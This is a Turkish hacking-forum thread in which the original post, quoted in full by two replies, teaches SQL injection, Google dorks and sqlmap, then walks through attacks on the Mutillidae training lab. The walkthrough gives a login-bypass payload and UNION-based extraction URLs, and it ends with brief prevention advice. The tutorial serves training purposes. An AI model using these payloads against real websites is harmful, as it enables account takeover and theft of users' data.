SQL Enjeksiyonu zafiyeti nedir?

aslan aslan

Basın&Medya Ekibi Asistanı
1 Şub 2023
767
296
Türkiye Cumhuriyeti. 🇹🇷
yScasWd.png



Merhaba değerli Türk Hack Team üyeleri.

Bugün sizinle birlikte SQL Enjeksiyon zafiyetini işleyeceğiz..

umarım tek temelim bu konuyu güzel şekilde anlamış olmanız hadi gelin konumuza geçelim.






GİRİŞ:


Bu bölümde şunlar çıkmaktadır



SQL Enjeksiyon zafiyeti nedir?



Farklı türlerdeki SQL güvenlik açıklarını bulma?



SQL zafiyeti nasıl önlenir?



ve Manuel SQL injection nasıl yapılır?



dork nedir ve nasıl oluşturulur?




Google Dork nedir ve nasıl yapılır?


5b813d_e5f47f1d19d54bd7a74ba69a6596b622~mv2.png



Günümüzde bir çok arama motorlarımızı Google üzerinde gerçekleştirmekteyiz. bu aramalar sonucunda ilgili ve ilgisiz

şey çıkmaktadır. Günümüzde bulunan hackerler bu Dorklar sayesinde sitelerin açığını bulabilmektedir..



Google Dork çeşitli anahtarlar mevcutur bu anahtarlar sayesinde şunlar yapıla bilinmektedir.





Günümüzde en yaygın Dorkalar.




Site:



Genelikle belirli bir web sitesi üzerinden arama yapmaya yarar.



İntitle



belirli başlığı olan sayfaları listeler.



Filetype



bu dork ise belirli bir belirli dosya tipini arar.



link



Belirli url bağlantı veren sayfalrı listeler.




SQL Enjeksiyon zafiyeti nedir?

SQL Enjeksiyonu zafiyetinde genellikle Bir saldırganın uygulamanın yapmış olduğu veritabanına yaptığı sorgulara müdahale etmesine olanak sağlayan bir web güvenlik açığıdır. bir saldırganın verileri görüntülemesine olanak sağlar Bu diğer kullanıcıların verilerine eriştiği zaman onları hem değiştirip hemde silme imkanı yaratır.


Başarılı bir SQL Enjeksiyon zafiyeti nelere yol açar?



eğer bir saldırgan bu açıktan yararlanarak siteye sızarsa aşağıda görmüş olduğunuz gibi hasas bilgiler elde edilir.



Kullanıcının şifreleri.



kullanıcın kıredi kartı bilgilerine erişim kazanır.



ve kişisel kullanıcı bilgileri elde edilir.



yılar boyunca SQL açığı yüzünden kullanıcıların hasas bilgileri çalındı. bazı durumlarda saldırgan kuruluşların sistemlerinde kalıcı

arka plan açar ve uzun vadeli bir tehlike ortaya çıkmış olur.



sql-injection-1024x576.png



SQL Enjeksiyon zafiyeti nasıl tespit edilir ve Enjeksiyon nasıl yapılır?


SQL Enjeksiyon zafiyeti bir sitede aranıp bulunurken scrip kidde seviyesindeki saldırganların bile bilmediği bir şey vardır arama kutularında '(Tırnak işaret) koymak. bu tür özel karekterler forum girdilerini denetleyerek sayfada veritabanı hatası almaya yarar. böylelikle SQL açıkğı olmadığını Manuel olarak öğrenmiş oluruz.



sql_injection.png


Sitelerde SQL açığını aramak için özel toollar geliştirilmiştir bunların arasında en bilinen SQLMAP tır. sqlmap kullanıcıların, parolarını, hash, değerini, roleri tabloları, sutünları gibi bilgiler tespit edilir.

sqlmap açık kaynaklı bir araçtır. kali linux gibi işletim sistemine sahipseniz bu aracı kurup tespit edebilirisiniz.


SQL Enjeksiyon Mutilldea Çözümleri

Mutillidea, web güvenli alanında kendini geliştirmek isteyen kişiler için kuruldu içinde belirli zafiyetler barındıran bir eğtim kurumudur.

önecelikle amacımız ilk olarak uygulamaya hata aldırmak. bunun için var olan inputlardan her hangibi birinine tek tırnak işaret bırakıyoruz ve hata almasını bekliyoruz ve hatayı aldı..

1*q6dPaziFsYPVksfzyZLF1g.png


Hatayıda gördüğünüz username alanında 3 tırnak işareti çıkmaktadır ve buyüzden hata almaktadır. aslında bu aşamada web uygulamamızın hangi SQL sorgusunu çalıştırdığını öğreniyoruz.


SELECT * FROM accounts WHERE username= '' and pasword="

1- adım: Login olma (post methodu)

uygulamada yer alan Login ekranına giriş için kulanıcı bilgileri.

ıd: yakup

pasword: 123456

biz bu adımda pasword bilgisi yanlış olsa bile aşağıdaki methodu kullanarak uygulamaya giriş yapabiliriz. bunu yaparkende aşağıdaki methodu password alanına ekleriz.


123' OR 1=1 #

Aslında password alanına eklediğimiz arka tarafta çalışan sorgu.

SELECT * FROM accounts WHERE username =' yakup' AND password='123' or

Kodu açıklamak gerekirse git kullanıcı adına bak adminmi , sonrasında şifreye bak eğer şifre 123 ise giriş yap yada değilse ama
1=1 ise giriş yap burada 1=1 bize hep doğru sonuç verdi şifre yanlış olsa dahi biz giriş yapacağız.

2- adım SQL Enjeksiyon (GET komutuna erişim)

bir önceki adımda POST methodunu kullanarak bir SQL Enjeksiyon yapmıştık şimdi ise GET methodunu kullanağız bunun için mutillidea uygulamasından yapacağız.

1*GW1QVbSYuL6dqa82N2bQHg.png


OWASP Top -> Al injecton ->SQLİ -Extract Data ->User ınfo sekmesini açıyoruz. bu uygulamanın çalışma mantığı ID ve Password bilgilerini girdiğimiz zaman bize o kulanıcıya ait bilgileri getirmekte. ayrıca url kısmında kullanıcımıza ait bilgilerin yazıldığını
görebiliriz.


1*U12L3K_qgQTQzh7ZIS_KYg.png

Bu durumda linki malupule edebiliriz bu örnekte yine ilk örnekte olduğu gibi ID sonra Enjeksiyon yapabiliriz. fakat burada enjeksiyonu url yapmış olacağız

http://10.0.2.6/mutillidae/index.ph...r-info-php-submit-button=View+Account+Details

varsayılan url adresi yukarıdaki gibidir Enjeksiyon gerçekleştirmek için usernamden sonra # kullanarak yapacağız.



dikatedecek olursak burada (tek tırnak) dan sonra # yerine %23 yazdık. bunun sebebise # değerini url koyduğumuz zaman HTML koduna çevirmeyeceği için biz kare yerine çevirilmiş olan %23 kulandık.

3- Adım veri tabanın bilgilerine erişmek.


şimdi admımızda tüm veri tabanı bilgilerini ele geçirmek olacak. Hatırlayacak olursak uygulamımız arka pılanda aşağıdaki sorguyu çalıştırmakta

SELECT * FROM accounts WHERE username='' AND password=''

biz bu adımda sorguyu aşağıdaki gibi değiştirirsek



artık accouns tablosundaki tüm kullanıcı bilgilerine erişe bilirim aynı işlemi url uzerinden yapmış olursak.



http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup'union select * from accounts %23+&password=123124&user-info-php-submit-button=View+Account+Details

bu adımda denilme yanılma yöntemi kullanarak kaydetmiş sütün değerlerni bulmaya çalışacağız. burada değiştirmemiz gereken alan order by dan sonra kullanacağımız rakamlar değiştirebiliriz. bu adımda doğru sutün sayısına ulaştığımız zaman artık kodumuzu değiştirerek erkrana bastıra biliriz.

SELECT * FROM accounts WHERE username='yakup' union select 1, 2, 3, 4, 5# AND password=''


aynı işlemi url içinde yapacak olursak.

http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup' union select 1, 2, 3, 4, 5%23+&password=123124&user-info-php-submit-button=View+Account+Details


şekilde güncelleyecek hangi sutünlar değer ister hangileri kullanarak bu değere ulaşabiliriz onu görmüş olacağız.

SELECT * FROM accounts WHERE username='yakup' union select 1, database(), user(), version(), 5# AND password=''

şeklinde günceliyoruz.

aynı güncelenmeyi url üzerinden yapacak olursak



http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup' select union 1, database(), user(), version(), 5%23+&password=123124&user-info-php-submit-button=View+Account+Details

ve daha sonra istediğimiz bilgilere erişim kazanıyoruz.


SQL Enjeksiyon nasıl önlenir.


paremetre Doğrulma fitrelme.

giriş alanlarını veya forum verilerinden gelen paremetleri doğrulayaın ve fitreleyin..

Paremetre bağlanma hazır sorgu kulanma.

SQL sorgularını dinamik olarak çaılışır paremetre hazır bağlanma veya hazır sorgular tekniğini kulanın.



Elimden geldiğince buraya kadar anlatmaya çalıştım emek vererek umarım yararım olmuştur görüşmek üzere.


akeat4u.png






 
Son düzenleme:

drjacob

Uzman üye
21 Ocak 2012
1,820
422
localhost
yScasWd.png



Merhaba değerli Türk Hack Team üyeleri.

Bugün sizinle birlikte SQL Enjeksiyon zafiyetini işleyeceğiz..

umarım tek temelim bu konuyu güzel şekilde anlamış olmanız hadi gelin konumuza geçelim.



vcRcLMS.png



GİRİŞ:


Bu bölümde şunlar çıkmaktadır



SQL Enjeksiyon zafiyeti nedir?



Farklı türlerdeki SQL güvenlik açıklarını bulma?



SQL zafiyeti nasıl önlenir?



ve Manuel SQL injection nasıl yapılır?



dork nedir ve nasıl oluşturulur?

F3beZqk.png



Google Dork nedir ve nasıl yapılır?


5b813d_e5f47f1d19d54bd7a74ba69a6596b622~mv2.png



Günümüzde bir çok arama motorlarımızı Google üzerinde gerçekleştirmekteyiz. bu aramalar sonucunda ilgili ve ilgisiz

şey çıkmaktadır. Günümüzde bulunan hackerler bu Dorklar sayesinde sitelerin açığını bulabilmektedir..



Google Dork çeşitli anahtarlar mevcutur bu anahtarlar sayesinde şunlar yapıla bilinmektedir.





Günümüzde en yaygın Dorkalar.




Site:



Genelikle belirli bir web sitesi üzerinden arama yapmaya yarar.



İntitle



belirli başlığı olan sayfaları listeler.



Filetype



bu dork ise belirli bir belirli dosya tipini arar.



link



Belirli url bağlantı veren sayfalrı listeler.



F3beZqk.png



SQL Enjeksiyon zafiyeti nedir?


SQL Enjeksiyonu zafiyetinde genellikle Bir saldırganın uygulamanın yapmış olduğu veritabanına yaptığı sorgulara müdahale etmesine olanak sağlayan bir web güvenlik açığıdır. bir saldırganın verileri görüntülemesine olanak sağlar Bu diğer kullanıcıların verilerine eriştiği zaman onları hem değiştirip hemde silme imkanı yaratır.


Başarılı bir SQL Enjeksiyon zafiyeti nelere yol açar?



eğer bir saldırgan bu açıktan yararlanarak siteye sızarsa aşağıda görmüş olduğunuz gibi hasas bilgiler elde edilir.



Kullanıcının şifreleri.



kullanıcın kıredi kartı bilgilerine erişim kazanır.



ve kişisel kullanıcı bilgileri elde edilir.



yılar boyunca SQL açığı yüzünden kullanıcıların hasas bilgileri çalındı. bazı durumlarda saldırgan kuruluşların sistemlerinde kalıcı

arka plan açar ve uzun vadeli bir tehlike ortaya çıkmış olur.



sql-injection-1024x576.png






F3beZqk.png

SQL Enjeksiyon zafiyeti nasıl tespit edilir ve Enjeksiyon nasıl yapılır?


SQL Enjeksiyon zafiyeti bir sitede aranıp bulunurken scrip kidde seviyesindeki saldırganların bile bilmediği bir şey vardır arama kutularında '(Tırnak işaret) koymak. bu tür özel karekterler forum girdilerini denetleyerek sayfada veritabanı hatası almaya yarar. böylelikle SQL açıkğı olmadığını Manuel olarak öğrenmiş oluruz.



sql_injection.png


Sitelerde SQL açığını aramak için özel toollar geliştirilmiştir bunların arasında en bilinen SQLMAP tır. sqlmap kullanıcıların, parolarını, hash, değerini, roleri tabloları, sutünları gibi bilgiler tespit edilir.

sqlmap açık kaynaklı bir araçtır. kali linux gibi işletim sistemine sahipseniz bu aracı kurup tespit edebilirisiniz.


F3beZqk.png

SQL Enjeksiyon Mutilldea Çözümleri

Mutillidea, web güvenli alanında kendini geliştirmek isteyen kişiler için kuruldu içinde belirli zafiyetler barındıran bir eğtim kurumudur.

önecelikle amacımız ilk olarak uygulamaya hata aldırmak. bunun için var olan inputlardan her hangibi birinine tek tırnak işaret bırakıyoruz ve hata almasını bekliyoruz ve hatayı aldı..

1*q6dPaziFsYPVksfzyZLF1g.png


Hatayıda gördüğünüz username alanında 3 tırnak işareti çıkmaktadır ve buyüzden hata almaktadır. aslında bu aşamada web uygulamamızın hangi SQL sorgusunu çalıştırdığını öğreniyoruz.


SELECT * FROM accounts WHERE username= '' and pasword="

1- adım: Login olma (post methodu)

uygulamada yer alan Login ekranına giriş için kulanıcı bilgileri.

ıd: yakup

pasword: 123456

biz bu adımda pasword bilgisi yanlış olsa bile aşağıdaki methodu kullanarak uygulamaya giriş yapabiliriz. bunu yaparkende aşağıdaki methodu password alanına ekleriz.


123' OR 1=1 #

Aslında password alanına eklediğimiz arka tarafta çalışan sorgu.

SELECT * FROM accounts WHERE username =' yakup' AND password='123' or

Kodu açıklamak gerekirse git kullanıcı adına bak adminmi , sonrasında şifreye bak eğer şifre 123 ise giriş yap yada değilse ama
1=1 ise giriş yap burada 1=1 bize hep doğru sonuç verdi şifre yanlış olsa dahi biz giriş yapacağız.

2- adım SQL Enjeksiyon (GET komutuna erişim)

bir önceki adımda POST methodunu kullanarak bir SQL Enjeksiyon yapmıştık şimdi ise GET methodunu kullanağız bunun için mutillidea uygulamasından yapacağız.

1*GW1QVbSYuL6dqa82N2bQHg.png


OWASP Top -> Al injecton ->SQLİ -Extract Data ->User ınfo sekmesini açıyoruz. bu uygulamanın çalışma mantığı ID ve Password bilgilerini girdiğimiz zaman bize o kulanıcıya ait bilgileri getirmekte. ayrıca url kısmında kullanıcımıza ait bilgilerin yazıldığını
görebiliriz.


1*U12L3K_qgQTQzh7ZIS_KYg.png

Bu durumda linki malupule edebiliriz bu örnekte yine ilk örnekte olduğu gibi ID sonra Enjeksiyon yapabiliriz. fakat burada enjeksiyonu url yapmış olacağız

http://10.0.2.6/mutillidae/index.ph...r-info-php-submit-button=View+Account+Details

varsayılan url adresi yukarıdaki gibidir Enjeksiyon gerçekleştirmek için usernamden sonra # kullanarak yapacağız.



dikatedecek olursak burada (tek tırnak) dan sonra # yerine %23 yazdık. bunun sebebise # değerini url koyduğumuz zaman HTML koduna çevirmeyeceği için biz kare yerine çevirilmiş olan %23 kulandık.

3- Adım veri tabanın bilgilerine erişmek.


şimdi admımızda tüm veri tabanı bilgilerini ele geçirmek olacak. Hatırlayacak olursak uygulamımız arka pılanda aşağıdaki sorguyu çalıştırmakta

SELECT * FROM accounts WHERE username='' AND password=''

biz bu adımda sorguyu aşağıdaki gibi değiştirirsek



artık accouns tablosundaki tüm kullanıcı bilgilerine erişe bilirim aynı işlemi url uzerinden yapmış olursak.



http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup'union select * from accounts %23+&password=123124&user-info-php-submit-button=View+Account+Details

bu adımda denilme yanılma yöntemi kullanarak kaydetmiş sütün değerlerni bulmaya çalışacağız. burada değiştirmemiz gereken alan order by dan sonra kullanacağımız rakamlar değiştirebiliriz. bu adımda doğru sutün sayısına ulaştığımız zaman artık kodumuzu değiştirerek erkrana bastıra biliriz.

SELECT * FROM accounts WHERE username='yakup' union select 1, 2, 3, 4, 5# AND password=''


aynı işlemi url içinde yapacak olursak.

http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup' union select 1, 2, 3, 4, 5%23+&password=123124&user-info-php-submit-button=View+Account+Details


şekilde güncelleyecek hangi sutünlar değer ister hangileri kullanarak bu değere ulaşabiliriz onu görmüş olacağız.

SELECT * FROM accounts WHERE username='yakup' union select 1, database(), user(), version(), 5# AND password=''

şeklinde günceliyoruz.

aynı güncelenmeyi url üzerinden yapacak olursak



http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup' select union 1, database(), user(), version(), 5%23+&password=123124&user-info-php-submit-button=View+Account+Details

ve daha sonra istediğimiz bilgilere erişim kazanıyoruz.


SQL Enjeksiyon nasıl önlenir.


paremetre Doğrulma fitrelme.

giriş alanlarını veya forum verilerinden gelen paremetleri doğrulayaın ve fitreleyin..

Paremetre bağlanma hazır sorgu kulanma.

SQL sorgularını dinamik olarak çaılışır paremetre hazır bağlanma veya hazır sorgular tekniğini kulanın.




F3beZqk.png


Elimden geldiğince buraya kadar anlatmaya çalıştım emek vererek umarım yararım olmuştur görüşmek üzere.


akeat4u.png






eline sağlık
 

ACE Veen

Uzman üye
4 Şub 2023
1,138
574
Belirsiz
yScasWd.png



Merhaba değerli Türk Hack Team üyeleri.

Bugün sizinle birlikte SQL Enjeksiyon zafiyetini işleyeceğiz..

umarım tek temelim bu konuyu güzel şekilde anlamış olmanız hadi gelin konumuza geçelim.






GİRİŞ:


Bu bölümde şunlar çıkmaktadır



SQL Enjeksiyon zafiyeti nedir?



Farklı türlerdeki SQL güvenlik açıklarını bulma?



SQL zafiyeti nasıl önlenir?



ve Manuel SQL injection nasıl yapılır?



dork nedir ve nasıl oluşturulur?




Google Dork nedir ve nasıl yapılır?


5b813d_e5f47f1d19d54bd7a74ba69a6596b622~mv2.png



Günümüzde bir çok arama motorlarımızı Google üzerinde gerçekleştirmekteyiz. bu aramalar sonucunda ilgili ve ilgisiz

şey çıkmaktadır. Günümüzde bulunan hackerler bu Dorklar sayesinde sitelerin açığını bulabilmektedir..



Google Dork çeşitli anahtarlar mevcutur bu anahtarlar sayesinde şunlar yapıla bilinmektedir.





Günümüzde en yaygın Dorkalar.




Site:



Genelikle belirli bir web sitesi üzerinden arama yapmaya yarar.



İntitle



belirli başlığı olan sayfaları listeler.



Filetype



bu dork ise belirli bir belirli dosya tipini arar.



link



Belirli url bağlantı veren sayfalrı listeler.




SQL Enjeksiyon zafiyeti nedir?

SQL Enjeksiyonu zafiyetinde genellikle Bir saldırganın uygulamanın yapmış olduğu veritabanına yaptığı sorgulara müdahale etmesine olanak sağlayan bir web güvenlik açığıdır. bir saldırganın verileri görüntülemesine olanak sağlar Bu diğer kullanıcıların verilerine eriştiği zaman onları hem değiştirip hemde silme imkanı yaratır.


Başarılı bir SQL Enjeksiyon zafiyeti nelere yol açar?



eğer bir saldırgan bu açıktan yararlanarak siteye sızarsa aşağıda görmüş olduğunuz gibi hasas bilgiler elde edilir.



Kullanıcının şifreleri.



kullanıcın kıredi kartı bilgilerine erişim kazanır.



ve kişisel kullanıcı bilgileri elde edilir.



yılar boyunca SQL açığı yüzünden kullanıcıların hasas bilgileri çalındı. bazı durumlarda saldırgan kuruluşların sistemlerinde kalıcı

arka plan açar ve uzun vadeli bir tehlike ortaya çıkmış olur.



sql-injection-1024x576.png



SQL Enjeksiyon zafiyeti nasıl tespit edilir ve Enjeksiyon nasıl yapılır?


SQL Enjeksiyon zafiyeti bir sitede aranıp bulunurken scrip kidde seviyesindeki saldırganların bile bilmediği bir şey vardır arama kutularında '(Tırnak işaret) koymak. bu tür özel karekterler forum girdilerini denetleyerek sayfada veritabanı hatası almaya yarar. böylelikle SQL açıkğı olmadığını Manuel olarak öğrenmiş oluruz.



sql_injection.png


Sitelerde SQL açığını aramak için özel toollar geliştirilmiştir bunların arasında en bilinen SQLMAP tır. sqlmap kullanıcıların, parolarını, hash, değerini, roleri tabloları, sutünları gibi bilgiler tespit edilir.

sqlmap açık kaynaklı bir araçtır. kali linux gibi işletim sistemine sahipseniz bu aracı kurup tespit edebilirisiniz.


SQL Enjeksiyon Mutilldea Çözümleri

Mutillidea, web güvenli alanında kendini geliştirmek isteyen kişiler için kuruldu içinde belirli zafiyetler barındıran bir eğtim kurumudur.

önecelikle amacımız ilk olarak uygulamaya hata aldırmak. bunun için var olan inputlardan her hangibi birinine tek tırnak işaret bırakıyoruz ve hata almasını bekliyoruz ve hatayı aldı..

1*q6dPaziFsYPVksfzyZLF1g.png


Hatayıda gördüğünüz username alanında 3 tırnak işareti çıkmaktadır ve buyüzden hata almaktadır. aslında bu aşamada web uygulamamızın hangi SQL sorgusunu çalıştırdığını öğreniyoruz.


SELECT * FROM accounts WHERE username= '' and pasword="

1- adım: Login olma (post methodu)

uygulamada yer alan Login ekranına giriş için kulanıcı bilgileri.

ıd: yakup

pasword: 123456

biz bu adımda pasword bilgisi yanlış olsa bile aşağıdaki methodu kullanarak uygulamaya giriş yapabiliriz. bunu yaparkende aşağıdaki methodu password alanına ekleriz.


123' OR 1=1 #

Aslında password alanına eklediğimiz arka tarafta çalışan sorgu.

SELECT * FROM accounts WHERE username =' yakup' AND password='123' or

Kodu açıklamak gerekirse git kullanıcı adına bak adminmi , sonrasında şifreye bak eğer şifre 123 ise giriş yap yada değilse ama
1=1 ise giriş yap burada 1=1 bize hep doğru sonuç verdi şifre yanlış olsa dahi biz giriş yapacağız.

2- adım SQL Enjeksiyon (GET komutuna erişim)

bir önceki adımda POST methodunu kullanarak bir SQL Enjeksiyon yapmıştık şimdi ise GET methodunu kullanağız bunun için mutillidea uygulamasından yapacağız.

1*GW1QVbSYuL6dqa82N2bQHg.png


OWASP Top -> Al injecton ->SQLİ -Extract Data ->User ınfo sekmesini açıyoruz. bu uygulamanın çalışma mantığı ID ve Password bilgilerini girdiğimiz zaman bize o kulanıcıya ait bilgileri getirmekte. ayrıca url kısmında kullanıcımıza ait bilgilerin yazıldığını
görebiliriz.


1*U12L3K_qgQTQzh7ZIS_KYg.png

Bu durumda linki malupule edebiliriz bu örnekte yine ilk örnekte olduğu gibi ID sonra Enjeksiyon yapabiliriz. fakat burada enjeksiyonu url yapmış olacağız

http://10.0.2.6/mutillidae/index.ph...r-info-php-submit-button=View+Account+Details

varsayılan url adresi yukarıdaki gibidir Enjeksiyon gerçekleştirmek için usernamden sonra # kullanarak yapacağız.



dikatedecek olursak burada (tek tırnak) dan sonra # yerine %23 yazdık. bunun sebebise # değerini url koyduğumuz zaman HTML koduna çevirmeyeceği için biz kare yerine çevirilmiş olan %23 kulandık.

3- Adım veri tabanın bilgilerine erişmek.


şimdi admımızda tüm veri tabanı bilgilerini ele geçirmek olacak. Hatırlayacak olursak uygulamımız arka pılanda aşağıdaki sorguyu çalıştırmakta

SELECT * FROM accounts WHERE username='' AND password=''

biz bu adımda sorguyu aşağıdaki gibi değiştirirsek



artık accouns tablosundaki tüm kullanıcı bilgilerine erişe bilirim aynı işlemi url uzerinden yapmış olursak.



http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup'union select * from accounts %23+&password=123124&user-info-php-submit-button=View+Account+Details

bu adımda denilme yanılma yöntemi kullanarak kaydetmiş sütün değerlerni bulmaya çalışacağız. burada değiştirmemiz gereken alan order by dan sonra kullanacağımız rakamlar değiştirebiliriz. bu adımda doğru sutün sayısına ulaştığımız zaman artık kodumuzu değiştirerek erkrana bastıra biliriz.

SELECT * FROM accounts WHERE username='yakup' union select 1, 2, 3, 4, 5# AND password=''


aynı işlemi url içinde yapacak olursak.

http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup' union select 1, 2, 3, 4, 5%23+&password=123124&user-info-php-submit-button=View+Account+Details


şekilde güncelleyecek hangi sutünlar değer ister hangileri kullanarak bu değere ulaşabiliriz onu görmüş olacağız.

SELECT * FROM accounts WHERE username='yakup' union select 1, database(), user(), version(), 5# AND password=''

şeklinde günceliyoruz.

aynı güncelenmeyi url üzerinden yapacak olursak



http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup' select union 1, database(), user(), version(), 5%23+&password=123124&user-info-php-submit-button=View+Account+Details

ve daha sonra istediğimiz bilgilere erişim kazanıyoruz.


SQL Enjeksiyon nasıl önlenir.


paremetre Doğrulma fitrelme.

giriş alanlarını veya forum verilerinden gelen paremetleri doğrulayaın ve fitreleyin..

Paremetre bağlanma hazır sorgu kulanma.

SQL sorgularını dinamik olarak çaılışır paremetre hazır bağlanma veya hazır sorgular tekniğini kulanın.



Elimden geldiğince buraya kadar anlatmaya çalıştım emek vererek umarım yararım olmuştur görüşmek üzere.


akeat4u.png






Elinize sağlık hocam
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.